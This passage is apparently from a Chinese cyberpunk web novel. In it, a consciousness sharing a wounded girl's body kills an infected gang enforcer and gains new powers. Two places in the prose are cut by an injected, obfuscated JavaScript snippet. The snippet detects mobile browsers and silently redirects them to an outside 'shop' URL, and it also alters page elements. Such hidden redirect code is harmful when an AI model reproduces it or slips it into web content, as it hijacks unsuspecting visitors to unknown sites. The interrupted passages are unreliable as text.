那条被感染的左腿此刻膨胀了一圈,金属骨架外包裹着一层厚厚的、暗红色蠕动的菌丝肌肉,每一步踏在地上都爆发出惊人的力道,震得金属地板隆隆作响,使得他整个人就像一颗出膛的炮弹,利用变态的爆发力瞬间拉近了距离。 “抓到你了。” 腥臭的热气喷在夏雨脸上。 这一次,没有任何预判的空间。 一只覆盖着暗红色菌丝的大手狠狠挥下,像拍苍蝇一样,重重地砸在夏雨的胸口。 “噗——!” 夏雨喷出一口鲜血,整个人像断了线的风筝一样倒飞出去,狠狠撞在废弃的压力阀门上,随后软绵绵地滑落在地。 还没等她喘口气,一只大手——那只手因为刚才的蚀械菌溅射而发生了部分变异,长出暗红色肉芽的金属手指一把掐住了她的脖子,将她硬生生提了起来,悬空在深渊之上。 “咳……咳……” 窒息。剧痛。 李斯那张扭曲的脸凑到了面前,腥臭的涎水滴在夏雨脸上,狞笑着说:“挺能躲啊?再躲一个试试?” 夏雨拼命挣扎,愤怒地两眼通红:“你杀了我妈!还把她的头挂在……挂在……” 她说不下去了。 “哈!”李斯像是听到了什么笑话:“你以为是我害了她?别傻了!这是帮里的决定,我就是个干活的。再说了,你以为你妈是什么好东西?无辜的受害者?” 他不以为然地哂笑一声,继续道: “她在我们帮派的黑名单上挂了好几年了!要不是有人保她,你以为你家那个破铺子能在沉降区开十来年?一边给我们修义体一边出卖我们,我只是按帮派的规矩处理她而已!” 夏雨毫不退缩:“帮派规矩?帮派规矩还包括你带人占了我们家店吗?到底是帮派规矩,还是另有图谋,你自己心里清楚!我妈死了,你们自然想怎么说怎么说!” “你不相信?”李斯扯了扯嘴角,手下加大力度道:“她是为了谁?还不是为了给你这个连脑芯都装不了的二等残废买基因药?可惜啊,两面三刀的人,最后两边都不是人。” 母亲真的为了她故意背叛帮派吗?是因为她,才死的吗?她一直以为那些药是母亲用家里机械铺赚的钱买的。 夏雨一直拒绝去想这些,可她心里明白,如果没有自己,母亲当初根本不会落得今天这个地步。 快要……不能呼吸了……夏雨眼白瞳孔颤动着,在生理性的窒息和心脏被冲击性的话语反复撕扯的痛苦中,她的意识渐渐远去,双眼翻白,双手无力地垂下,昏了过去。 6. 顶号上阵 窒息。 喉管被钢铁般的手指死死扼住,肺里的空气被挤压殆尽。眼前阵阵发黑,耳边全是心脏濒死的轰鸣。 连映接管这具身体的瞬间,就明白了一个残酷的事实: 这具身体太弱了,还浑身是伤,根本对抗不了眼前浑身钢铁的改造人。 系统警告嘶哑地响起: 【警告:载体遭受重创,意识丧失中……连接信号不稳定……】 “呵……这就完了?” 李斯看着地上像死狗一样不动的女孩,眼中的疯狂逐渐变成了残忍的戏谑。 他伸出那只变异的手,一把抓住了夏雨的一条腿,像拖垃圾一样将她倒提起来。 “别急着死……我还没玩够呢。” 他另一只手的机械臂再次变形,在那根早已预热的大口径炮管旁,弹出了几根用来切割金属的高频激光锯。 “我要把你一点点切碎……先从哪儿开始呢?” 嗡嗡作响的激光锯慢慢逼近夏雨的脸。 在夏雨意识断线的瞬间,连映彻底终于得到了这具身体的掌控权。 窒息,痛苦,愤怒,憎恨,后悔,悲伤,绝望,疲惫——掌控这个躯体的同时,连映也接收到了它的主人的全部感受。 此刻,这个素昧平生的女孩的生命已经与她融为一体,她能感受到夏雨胸口的炽热,心脏的跃动,血液在身体里哗哗作响,还有她不甘的意念: 她不想死,也不能死……她还有没有完成的事,绝对不能就这样死去……! 连映忽然意识到,自己已经继续无法置身事外。 她没法袖手旁观,看着一个年轻的生命就这么逝去,哪怕这是游戏或模拟测试,她也没法放着不管。 【这个女孩甚至还没成年。哪怕有一点点时间,让她能想办法救她一命……】 必须找到武器……哪怕是一块碎玻璃! 连映强忍着浑身的痛楚和恐惧,目光在混乱的地面上疯狂搜索。 突然,她的视线定格了。 在李斯那条变异的左腿旁,一团被撕裂的防护服碎片里,那枚刻着漩涡眼睛的金属牌正闪着寒光。 那是刚才打斗时掉出来的。它的边缘锋利,是此刻唯一的利刃。 但是,她够不到。 李斯那庞大的身躯像一座铁塔般挡在面前,他那只沉重的机械脚正好踩在金属牌旁边,只要稍微一动就能把它踩进烂泥里。 可惜,在被掐着脖子提离地面的姿态下,那个距离对现在的连映来说,简直就是天堑。 但是,在此刻短暂的寂静中,连映忽然听到了一种声音,一种她非常熟悉的声音。 不,确切地说,从刚才李斯的手刚刚摸到她的脖子开始,连映就听到了一种声音,她本以为那是外部的噪音,但她刚刚才发觉,那个声音来自李斯,而且异常熟悉。 连映收回目光,死死盯着那只掐住自己脖子的手。 顺着接触点传导过来的,是李斯那混乱不堪的生物电信号。这种声音再熟悉不过,因为这是连映作为情绪流调谐师日日面对的工作。 只是,李斯的电信号要比普通人的杂乱很多,因为那根本不是正常人的思维,那是人类残留的疯狂意识与蚀械菌集体意志正在激烈厮杀的战场。成千上万个杂乱的信号像电流麦一样发出刺耳的噪音。 【强制链接尝试中……】 【警告:检测到高危精神污染源!】 【警告:目标神经回路极不稳定,污染指数95%!继续连接将导致宿主意识受损!】 系统红色的警告在视野中疯狂弹窗。 然而,看着这满屏的红色警告,连映没有恐惧,嘴角反而轻轻勾了一下。 找到了。 在她眼里,此刻的李斯是一台正在运行错误程序的故障机器。他的人脑和体内菌丝都想要控制身体,两股指令流正在他的神经中枢里打架,而且,现在是菌丝占了上风。 也就是说,他的大脑和自我意识现在相当脆弱。 作为调谐师,连映最擅长的就是处理这种“纠纷”。 既然这么挤,那就再给你添把乱吧。 连映彻底放弃了防御。 她主动打开了自己的精神感官,像一个贪婪的黑洞,顺着那只手,主动用意识去共鸣李斯那混乱的大脑。 “嗡——” 这就好比在一个已经满载负荷、即将崩溃的精密天平上,突然又扔上了一根羽毛。 “滋——!!!” 李斯原本狰狞的表情突然僵住了。 他并没有受到攻击,也没有感到疼痛。 他只是……“卡”住了。 因为连映这个未知的、无法解析的“第三方信号”的强行插入,他那脆弱的神经网络瞬间引发了连锁崩溃。 李斯那只掐住夏雨脖子的手,因为运动神经的突发性紊乱,下意识地卸了力,手一松,驱使着夏雨身体的连映立刻趁机落地,扶着旁边的粉碎机,大口大口地喘息呛咳起来。 成了!连映心中一喜。 但代价也是巨大的。 “噗——” 一股温热的液体瞬间从夏雨的鼻腔涌出,又被连映喘息着随手擦掉。 与此同时,李斯那边的状况则更加恶化,由于体内信号紊乱,他此刻正跪倒在地,痛苦地嘶吼着抓挠自己的脸,那条挡路的机械腿终于挪开,露出了后面那枚闪着寒光的金属牌。 这次没有阻碍了! 连映强忍着喉咙和肺部的灼痛,手指闪电般探出,一把扣住了那枚金属牌! 没有多余的动作。 她利用李斯掐住她脖子向上提的力道作为支点,手腕如同毒蛇吐信般向上一送! “噗!” 金属牌尖锐的边角,顺着那道被增生血肉撑开的护甲裂缝,狠狠地刺了进去!然而—— 情况不对。 利刃入肉后并未见血,反倒像刺入了一团厚重的、腐烂的橡胶,或者是某种粘稠的半固态流体。 “嗤……” 刀刃割开的伤口露出了暗红色,但不是血,而是无数只暗红色的疯狂蠕动的细小菌丝。 它们像是有意识一样,瞬间包裹住了刺入的金属牌,甚至试图顺着伤口把这异物“吞”进去。 李斯没有倒下。 他甚至没有惨叫。 他只是歪了歪头,看着插在自己脖子上的金属牌,那双浑浊的眼睛里透出一丝嘲弄。 “……痒。” 他含糊不清地吐出一个字,声音像是从充满液体的肺里挤出来的。 没用?连映的心脏猛地一沉。 看着那翻卷又很快恢复原状的暗色血肉,她这才恍然:李斯的脖子里已经没有正常的血管和神经了!蚀械菌已经完全同化了那个区域,把他变成了一个非牛顿流体般的怪物。普通的物理穿刺对他根本没有致命伤! “这就是……你的……反抗?” 李斯狞笑着,手指猛地收紧。 “咳——!” 连映(夏雨)感觉喉管快要被捏碎了。肺部的空气被彻底挤空,眼前阵阵发黑。 必须……找到弱点…… 他是改造人……他还是需要动力源……不管变成了什么怪物,机械的逻辑不会变…… 但是,他的弱点,在哪儿? 连映并非机械师。在她的视野里,李斯只是一团混乱、扭曲、令人作呕的暗红烂肉。 机械精通是夏雨的能力,不是她的。 连映打开系统界面,看向“载体X-07(夏雨)”的个人资料,技能栏中,“机械感知(待激活)”的文字正在闪烁,连映尝试激活那个能力,然而,那淡蓝色的界面只跳出了一行冰冷的中立提示: 【提示:操作无效。】 【需求同步率:12%/20%(未满足)。】 【原因分析:宿主与载体存在严重的认知和心理隔阂,无法建立深度共鸣通道。双方信任度极低,且宿主潜意识中拒绝认同载体X-07的命运与处境。】 连映沉默了。 拒绝认同? 是啊。她们是不同的灵魂,哪怕在一个身体上,她也不是夏雨。 别人的事,与她无关。 何况,她觉得,自己现在只是个背后灵,本来就做不了什么。 可是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091505|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 连映看着眼前那团代表夏雨意识的、已经微弱如烛火的光团。那是这个女孩十八年来在底层挣扎求生的记忆: 被欺负的童年、母亲尸体浮现河里的那个雨夜、在垃圾堆里翻找零件的日日夜夜……以及那股即便在昏迷中,依然死死咬着牙、不愿意屈服的恨意。 “……妈妈……” 夏雨的心声传来,那声音极其微弱,却像一根针般刺中了连映。 审讯室里的无助、被所有人冤枉的愤怒和母亲离开时的背影……种种情绪掠过心头。 你也想活下去,对吗? 连映静下心来,张开双臂,将自己的精神体彻底敞开,毫不保留地扑向了那团微弱的烛火。 她去拥抱那份恐惧。她去接纳那份绝望。她去感受那颗在胸腔里疯狂跳动的、年轻而又不甘的心脏。 【警告:即将强行进行深度共鸣。该操作将以此解除精神屏障,宿主将承受载体所有的痛觉与负面情绪。是否继续?】 “继续。“ 轰——!! 刹那间,连映感觉自己像是跳进了一池滚烫的岩浆。夏雨胸骨断裂的剧痛、窒息的绝望、对李斯的恐惧与仇恨,毫无过滤地全部砸在她身上。 痛。太痛了。 但在这极致的痛楚中,两人的灵魂频率达到了前所未有的同步。 一连串系统通知接连响起: 【系统提示:检测到宿主正在强行干涉载体底层逻辑……信任值/共鸣度突破临界点!……强行使用“潜能激发”……成功!】 【由于强行突破临界点,共鸣者-095号与载体X-07的信任值提升20点,同步率上升10点,同步率数值满足22%/20%,能够进行初步意念沟通,临时效果持续至本次共鸣链接中断。】 【系统提示:共鸣者095“潜能激发”能力生效,解锁载体X-05核心天赋——【机械感知(初级)】 现实世界。 夏雨的手指突然极其轻微地动了一下,但李斯并没有察觉。 突然,夏雨猛地睁开了眼睛。那双眼睛里没有瞳孔,只有一片流淌的幽蓝色数据流。 是连映。 在【机械感知】的全图视野下,李斯那看似恐怖的变异身躯,在她眼中被瞬间解构成一张由冰冷的线条、热成像色块和能量流动轨迹构成的精密透视图。 左臂激光锯转速2000……右腿菌丝密度过大导致重心□□……核心弱点…… 连映的视线穿透那层厚厚的变异血肉,锁定了李斯右胸那颗正在疯狂过载、发出刺眼红光的微型核能心脏。 在机械感知视野下,它之所以如此明亮,是因为周围原本坚不可摧的机械骨骼和合金护甲,虽然表面看似完好,实则内部结构已经被之前溅射到的蚀械菌严重腐蚀、扭曲、变形! 那些金属防线,现在就像是被白蚁蛀空的朽木,只差最后一击。 它们护佑的那颗机械心脏也正在发出不堪重负的悲鸣,疯狂地泵送着能量,维持着这具早已崩溃的躯体的运作。 而周围那些贪婪的蚀械菌,正像吸血鬼一样密密麻麻地连接在它上面,抽取着它的能量来维持活性。 找到了! 连映控制着夏雨的左手,指尖死死捏住那枚边缘锋利的【星辰与眼睛】金属牌。 看到李斯的状态,她已经大概猜到了这块牌子的特性:它是共鸣催化核心。它能让这种新型蚀械菌活性暴增。 如果这一下直接刺不穿护甲,那就利用它瞬间引爆伤口处的菌群,利用生物腐蚀来替她开路! 但是,这最后一击,不能由我来完成。 这是你的仇。 【夏雨!!醒过来!!看清楚是谁在杀你!!】 连映在夏雨脑海中拼命呐喊,这种呐喊声响彻夏雨的意识海,如同暴雨山中闪电和风的咆哮,唤醒了她沉睡的求生本能。 【夏雨,你想就这样去死吗?你想就这样被自己的仇人杀死吗?】 【夏雨,醒醒!你自己的命,你得自己挣回来!】 夏雨的眸子颤了颤,那是属于她自己的、充满血丝的黑瞳。 她醒了。 7. 干掉老鼠 现实世界。 醒来的瞬间,夏雨原本涣散的瞳孔猛地收缩。 世界变了。 在她濒死的视野中,黑暗退去,取而代之的是一片流淌的幽蓝色数据流,而那个可怕的怪物版李斯被拆解成了无数机械的线条和色块,一个红色的亮点在正像灯塔一样在他胸口闪烁。 这是什么?濒死的幻觉吗?夏雨的意识在混沌中喃喃自语,她忽然想起互助会那些人每天的念诵和仪式,“难道是……神迹?” 她想起了互助会那些疯子天天念叨的“神悯”。 “原来……真的有神吗?你是来接我走的?” 就在她以为自己即将被“神”带往彼岸时,一个声音在她的灵魂深处炸响。 那个声音不是高高在上的神谕,而是带着和她一样的剧痛、一样的喘息、以及一样不屈的恨意。 【这里没有神,只有一个和你一样的灵魂。】 连映的意志如同钢铁般撞入夏雨的脑海,否定了所有的虚妄,只留下了最残酷也最滚烫的真相: 【睁开眼,你要亲自面对自己的命运!】 夏雨浑身一震,似乎意识被锤了一下,终于彻底清醒过来。 “这是……李斯身体的机械透视图!?目镜忽然升级了?不对,这好像不是目镜。” 机械师的本能让夏雨很快辨认出眼前的怪异图景是什么意思,疑惑和惊喜同时涌上心头,然而,此时并不是追根究底的时候。 现在,她必须,立刻干掉李斯。 李斯全身神经已经被蚀械菌腐蚀、改造,感知极其迟钝,因此他并未注意到,夏雨那只原本无力垂下的左手,已经悄无声息地拔出了他脖子上的金属牌,正瞄准了他毫无防备的胸口。 夏雨喉咙里挤出一声嘶哑的怒吼,在半空中猛地卷腹,早已蓄势待发的左手一把攥住那枚金属牌,没有丝毫犹豫,对准那个机械感知视野中红色高亮标记出来的部位,狠狠地、笔直地刺了进去! “……去死!!” “噗嗤——!!” 金属牌尖锐的边角,带着两个女人的意志,噗地穿透那层已被侵蚀酥脆的皮下护甲,扎进肉里。 “咔嚓——!” 随着金属牌刺入,正在生长的蚀械菌迅速被迅速催化繁殖,无数菌丝从四肢百骸朝胸口汹涌簇拥而来,瞬间击穿了那颗正在过载的微型核能心脏。 李斯僵硬的狞笑瞬间凝固在脸上。 “滋——嗡!!!” 李斯的心脏并没有立刻爆炸。相反,失去约束的核能电池瞬间释放出幽蓝色的高能电弧,像无数条发疯的电蛇,顺着李斯体内那些已经被菌丝改造的神经网疯狂乱窜,一直窜到头顶,直接终结了那颗苟延残喘的大脑。 “啊啊啊啊——咯咯……滋……” 李斯的惨叫声变成了变调的电子噪音。 紧接着,令人毛骨悚然的一幕发生了。 失去了统一的中枢指令,那些原本为了战斗而聚合在一起的蚀械菌瞬间失控。在蓝色的电弧中,它们不再维持人类的形态,而是开始了无序的捕食,和爆炸性的恶性增殖。 “咕叽……咕叽……” 李斯庞大的身躯像一团被加热的蜡像,开始融化、扭曲。 他的金属义肢在强酸和高温下发出令人牙酸的扭曲声,暗红色的肉芽从每一块装甲的缝隙里喷涌而出,像盛开的恶之花,瞬间包裹住了他的头颅。 这不是死亡,而是一场盛大而贪婪的变异。 “救……救……” 李斯最后的声音被涌入喉管的菌丝淹没。 几秒钟后,那个曾经名为“李斯”的生物彻底崩塌。他变成了一摊由废铁、电线和暗红色烂肉组成的巨大畸变体。 虽然已经没有了生命体征,但这团“烂肉”依然在抽搐、蠕动,像是一个巨大的、饥饿的胃袋,贪婪地搜索着周围一切可用的生物热源。 夏雨跌坐在离这团不可名状之物不到半米的地方。 “呼……呼……” 她大口喘息着,想要爬远一点,但剧痛和失血让她浑身无力。 “滋——” 那团畸变体似乎感应到了新鲜的血肉气息。 几根暗红色的菌丝触须,像嗅到了腥味的毒蛇,从那堆烂肉中缓缓探出,摇晃着,以此为圆心,向夏雨的方向探了过来。 红色的系统警报在连映的视野中疯狂闪烁: 【警告:检测到高活性生物侵蚀源!】 【警告:载体处于重伤虚弱状态,请尽快远离高危目标!】 【快跑!】 见夏雨没反应,连映想强行控制夏雨的身体后撤,却发现——夏雨不动了。 不是因为恐惧,而是因为……诱惑。 此时的夏雨,眼神涣散,瞳孔中倒映着那团诡异蠕动的红光。在失血过多和剧痛造成的重伤状态下,她的理智防线已经彻底崩塌。 在她的感官里,眼前那团致命的菌丝不再是怪物,而是一团温暖的、散发着甜美气息的能量。 身体的每一个细胞都在尖叫着:好饿……好冷……吃掉它……吃掉它就不疼了…… “……给我……” 夏雨神情恍惚,竟然主动伸出了满是鲜血的手,抓住了那一根探过来的菌丝触须! “嘶——!!” 神志依然清醒的连映顺着夏雨恍惚的眼睛向下一看,目光瞬间凝固:糟了!她刚刚紧握金属牌刺入李斯身体时过于用力,防护手套已经被割开一道口子! 李斯体内喷溅而出的的感染组织,顺着手套的裂口,直接接触到了夏雨手上的新鲜伤口,只见伤口周围的血管正以肉眼可见的速度变成暗红色,并像树根一样向手臂上方蔓延。 “滋——” 那团畸变体似乎感应到了新鲜的血肉气息。几根暗红色的菌丝触须,像嗅到了腥味的毒蛇,摇晃着探了过来。它们散发着一种致命的、甜腻的信息素,那种味道在感官层面直接转化为一种“极致的渴望”。 【警告:检测到高活性生物侵蚀源!】 不行,一定要保持清醒,连映对自己说。 此时她和夏雨感官共通,感受共享,因此,她现在需要抵抗双倍的痛苦和饥渴。 不能接受。 不能屈服。 不能投降。 这是怪物的诱惑。如果屈服了,这个年轻女孩也许会变成怪物。 她几乎本能地知道,如果她选择接受诱惑,那些痛苦都会顷刻不见:不只是夏雨浑身的伤,还有常年折磨她的头痛、幻觉,一切都会消失,就像那个变成了怪物、获得了前所未有力量的李斯。 但与此同时,也一定会有非常可怕的事情发生,而她一定会后悔。 【滚开!】连映在意识里对那些探过来的触须怒吼。 由于夏雨的意识正处于清醒与昏迷的边缘,只有部分身体控制权的连映艰难地抵抗着这种魔鬼般的诱惑,额头冷汗直冒,背部的痛楚愈演愈烈,精神力透支和□□的痛楚双重折磨着她。 然而,命运似乎并不赞赏她的坚持。 【警告!载体意识复苏。控制权正在转移…】 夏雨醒了。 “唔……” 夏雨呻吟一声,慢慢清醒过来。在她的感知里,刚才的剧痛仿佛只是一个噩梦,此刻她正处于一种温暖、恍惚的状态中。 眼前的黑暗消失了,那团蠕动的暗红光芒在她眼中发生了扭曲。 那是……光? 她仿佛看到了童年时,母亲夏清在昏黄灯光下修补零件的背影,那种温暖、安心的感觉让她下意识地想要靠近,想要伸手去抓。 “妈……” 夏雨痴痴地呢喃着,缓缓伸出了那只满是鲜血的手,迎向了那根致命的菌丝。 “别碰!”连映想要阻止,但已经晚了。 “滋溜——” 指尖接触的瞬间。 那美好的幻象瞬间破碎。 轰!! 那团畸变体仿佛找到了宣泄口,无数根微小的菌丝顺着夏雨手上的伤口疯狂涌入! 它们不再是母亲温暖的手,而是决堤的洪水,带着暴虐、贪婪和混乱的原始意识,咆哮着冲进夏雨的血管。 “……呃!!” 夏雨猛地仰起头,身体剧烈抽搐。幻觉破灭后的剧痛和异物入侵的恐怖让她瞬间瞪大了眼睛。 【警告:生物侵蚀开始!载体正在被同化!】 连映心头一紧。 这堆东西在抢夺控制权! 那股入侵的生物信号太强了,那是成千上万个微小个体的嘶吼,嘈杂得像是一百个重金属乐队同时在脑海里炸响。 它们也太吵了!可是,她好像对这种嘈杂异常熟悉……一股强烈的既视感涌上连映心头。 这是一种连映异常熟悉的嘈杂感,是她每天都在面对、每天都要梳理和修建的,存在于每个共感作品里的,嘈杂的情绪流的电子信号声。 她不了解怎么在现实中应对这种异常的生物,但是对于怎样调谐它们在人类意识和感官中的频率表现,她再了解不过,因为这是她每天十几小时面对的工作。 既然拦不住……那就只能让它闭嘴! 情绪流调谐师的职业本能让连映心里的恐惧和烦躁忽然褪去。她一下子就进入了熟悉而平静“深度工作模式”。 她深呼吸一口气,不再透过夏雨的眼睛去观看那恐怖的画面,而是静心感受那些波动的频率和流向,在她意识里,那些疯狂的菌丝变成了一条条严重爆表的红色波形。 太吵了! 那股入侵的生物信号太强了,那是成千上万个微小个体的嘶吼,嘈杂得像是一百个重金属乐队同时在脑海里炸响。 这种混乱、尖锐、毫无逻辑的“噪音”,瞬间激起了连映作为情绪流调谐师的职业强迫症。 她下意识地想要像平时工作那样用神经调谐设备的虚拟操作杆去修剪这些波形。但她立刻反应过来,这里没有神经调谐设备,没有虚拟操作杆,没有操作界面,她只有这一缕寄宿的意识。 怎么做?用什么去碰触这些信号? 在极度的焦躁和专注中,连映死死盯着那些在意识视野里疯狂跳动的红色波形,拼命想要将自己的意志延伸过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091506|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪怕只有一寸。 嗡—— 就在精神紧绷到极致的瞬间,仿佛有一层无形的隔膜被捅破了,一种前所未有的奇异感觉猛地窜上她的天灵盖。 如果不把它叫作错觉,那感觉就像是……她在只有虚无的精神世界里,突然长出了一只“看不见的手”。 那是一股凉意,一股可以随着她的念头流动、伸缩、变幻的能量流。它听话地从她意识深处探出,精准地触碰到了那些原本不可捉摸的生物信号。 【系统提示:检测到高密度脑波干涉,共鸣者095主动调用精神力。】 几行淡金色的半透明小字在视野边缘一闪而过,帮连映确认了这个猜想。 精神力?连映心中一动。原来这就是在这个世界里,能够干涉物质与数据的媒介?好极了。 既然有了“手”,那这就不再是无解的死局,而是一场她最擅长的“精密作业”。 连映没有去对抗那股夏雨的□□和意识根本挡不住的生物能量,而是静心沉入自己的意识中,调动这股刚刚觉醒的、还略显生涩的精神力,将它化作一把精密的“手术刀”,狠狠切入了这股混乱信号的频率核心。 像她每天工作时那样。 【调谐开始——倾听。】 【降噪。】 【分析。】 【修剪。】 【重塑。】 嗡—— 现实世界中。 原本顺着夏雨血管疯狂蔓延、试图撕裂肌肉的暗红菌丝,突然像是被驯服的野兽,褪去了那种暴虐的攻击性。它们原本是用来破坏的指令,在连映的强行修改下,变成了修补。 【吸收开始。】 一股前所未有的热流瞬间冲刷过夏雨濒临崩溃的躯体。 “呼……” 夏雨原本痛苦扭曲的表情松弛下来,发出了一声类似溺水者获救后的长叹。 而对于寄宿在她体内的连映来说,这场“盛宴”带来的变化更加诡异且深远。 那些被“提纯”后的多余生物能量,顺着共鸣连接,源源不断地涌入连映干涸的意识海。 忽然,一种有别于五感的、全新的感知维度在她脑海中展开。 她开始能感受到一种特殊而玄妙的意识能量,那不是电流,也不是热量,而是一种纯粹的、实质化的意志延伸。不但如此,她几乎本能地感觉到,这种力量只和她自己有关、只存在于精神世界。 这是一种很奇怪的感觉。就像是原本一直笼罩在大脑皮层上的那层“磨砂玻璃”被突然擦亮了一块。 她似乎对自己的心灵、情绪乃至神经的活跃程度变得敏锐了起来。 此刻,她能更清晰地感知到自己的感官和情绪的细微波动,就如同做情绪和感官流调谐时,那些情绪和感受实质化般如同微弱的电流一样在意识边缘游走。 不但如此,周围的世界似乎也变得有些不同了。空气中尘埃的浮动、夏雨呼吸的频率、甚至是远处水滴落下的声音,都带着一种前所未有的颗粒感挤进了她的感知里。 这种大脑微微发烫、对自己的感官、内心活动乃至周围世界异常清明的陌生体验……难道,这就是所谓的“精神力”? 甚至,在这一片清晰的感官数据中,她还隐约捕捉到了不远处的阴影里有一丝极其微弱、像苔藓一样阴冷的窥视感。 错觉吗? 连映没来得及细想,因为脑海中的系统界面突然发生了异变。 滋—— 脑海中那个一直呆板、卡顿的幽蓝色系统界面,仿佛响应着这股力量的觉醒,突然发生了一阵液态般的蠕动。 原本粗糙的像素线条瞬间崩解,重组成了极其丝滑、精致的全息流体UI。就像是一个劣质的DOS系统,突然进化成了拥有自我意识的超级AI。 几行崭新的、泛着淡淡金光的文字,伴随着一种更加悦耳的提示音,在她眼前弹跳而出: 【能量捕获完成。系统模组自修复:15%。】 【检测到载体(X-07)处于濒死状态,请选择能量分配模式:】 A.【掠夺】:独吞能量。收益:精神力大幅提升,若载体死亡,可获得尸体临时控制权。 B.【共生】:反哺能量修复载体。收益:精神力小幅提升,载体存活,信任值+20。 连映看着那两个选项,连一秒钟的犹豫都没有。 只有傻子才会杀鸡取卵。 在这个危险的地下世界,一具听话且有成长潜力的活体队友,远比一具只能用一次的尸体有价值得多。 “共生。” 她在意识中冷冷下令。 嗡—— 指令下达的瞬间,那股原本属于李斯的狂暴生命力被系统转化为温和的蓝光,顺着血管反哺回夏雨体内。 那些受损的细胞像是被打了一针强效修复剂,以肉眼可见的速度开始愈合。原本血肉模糊的伤口迅速结痂、脱落,露出新生的粉色皮肤。 【共生修补完成!】 【载体生命体征恢复。载体对宿主的信任度提升至:-10,共鸣同步率提升10%。】 8. 精神力开启 呼……连映在意识里轻轻松了口气。 此刻,她能感到自己意识一直存在的眩晕感消失了,入狱几天意识深处一直没有消退的那种精神上的疲惫感也消失了,她重新感到神采奕奕,仿佛睡了长长美美的一觉。 不止如此,她刚刚觉醒的精神力的感知范围似乎也稍稍扩大了些许。 除此之外,系统的结算通知界面上还有一条任务完成的奖励结算信息: 【临时任务完成!】 【任务奖励获得:共鸣能力盲盒抽奖x1(盲盒范围:链接者共鸣潜能所属分类下的所有能力)】 【共鸣者095,是否现在抽取盲盒?是/否】 没有人能拒绝免费抽奖,连映也不例外,于是她毫不犹豫地选择了“是”。 一阵光芒闪过,一个橙色的信息框蹦了出来。 【恭喜你欧气爆棚,抽到了一个高级能力!】 高级能力!? 连映有点期待地看向信息框里的能力详情: 【技能共享(初级):您将能够自由使用同步率超过25%的载体的任意一个技能,技能冷却时间:4小时。当前可共享技能:机械感知(初级)】 连映又看了一眼载体界面她和夏雨的同步率,心里涨起一丝微微的喜悦:【共鸣同步率:27% / 25%】 “夏雨的命保住了,还多了个技能,总算没有白忙活。” 她赌赢了。 虽然过程惊险万分,但结果是——她们活下来了,而且变得更强。 此刻,连映的感知异常敏锐玄妙。她感到一股庞大的热流冲刷过夏雨的血管,那些受损的细胞像是被打了一针强效兴奋剂,开始以惊人的速度分裂、再生。原本濒临崩溃的身体机能被强行拉升到了巅峰。 而连映自己的意识,也像是在干涸的沙漠里喝到了一口甘泉,原本枯竭的精神力瞬间充盈起来,思维变得前所未有的清晰。 代价是李斯的彻底毁灭。 随着能量被连映抽离,李斯被蚀械菌侵蚀改造的大部分躯体迅速灰败、硬化。 那些原本狂暴增殖的血肉,此刻像风化了千年的岩石一样瞬间崩解,变成了一堆灰黑色的、多孔的、无法辨认的生物矿渣,甚至连喷溅出的血迹都没有留下。 所有的有机质似乎都在刚才那场诡异的“吞噬”中被吸干了,只留下一地干燥的、散发着怪异焦糊味的尘埃。 地上,或者说,世上,再也没有“李斯”这个人了。 只有几根扭曲变形的工业金属连杆,以及几块尚未被侵蚀殆尽的、带有明显“碎铁帮”涂鸦风格的廉价义肢外壳,孤零零地滚落在灰烬旁。 这些粗糙的金属垃圾,是唯一能证明这里曾经存在过一个帮派暴徒的痕迹。 这到底是怎么回事?连映心中困惑不解。 她能感到自己明显有所不同,她的大脑前所未有地清醒灵敏,比以前任何一个时候都要好,她甚至觉得自己变聪明了。 “……怎么回事?”另一个意识接管了躯体,喃喃的话语和连映的心声重合,“……我刚才好像晕过去了?” 夏雨完全清醒过来了。刚才那几分钟的记忆是断片的,她只觉得身体莫名地轻盈,身体各处的痛楚消失了,周围的一切声音、气味都变得异常清晰,整个人状态十足。 重回被困的意识体状态,连映在心中自我安慰道:夏雨的生存危机解除,她自己也不用受到连累变成脑死亡植物人,还得到了奖励,她至少没有损失什么。 “老鼠呢?”刚刚清醒过来的夏雨警惕地四处张望。 【死了。】忽然,她脑海中有一个女声出声回道。 “哈?!那尸体呢?——不是,等等,你谁?大脑黑客?这底下没外网,内网信号我也早关了,你什么时候进的我脑子里?还是说你是我忽然苏醒的第二人格什么的?” 夏雨被惊得炸了毛,心里的疑问一股脑脱口而出。 【尸体在你脚边。】女声淡淡道,没有回答其他问题。 “脚边?”夏雨低下头,满地狼藉和灰色渣滓中,一颗残破狰狞的头颅睁大眼睛盯着他,眼中红光闪烁。 那是李斯的头。 或者说,是剩下那一半还没来得及被蚀械菌完全吞噬的李斯。 那景象足以让任何一个第一次杀人的人做许久噩梦。 他的左半边脸还是人类的模样,皮肤惨白,带着死前极度的惊恐与痛苦。右半边脸则已经彻底硬化,暗红色的菌丝像植物根茎一样刺破皮肤,又从鼻腔嘴角钻出。 他的表情被永远定格在了“人类”与“怪物”的临界点上,浑浊的左眼死死地瞪着,像是无声的质问,又像是恶毒的诅咒。 尸体旁边那堆暗红色的渣滓中,还散落着几根被腐蚀过的、扭曲变形的金属骨架和金属指骨残渣。 空气突然变得死寂,只有远处下水道滴水的声音。 “呕——” 夏雨原本紧绷的神经瞬间崩断,她猛地跪倒在地,胃部剧烈抽搐,对着旁边的污水干呕起来。 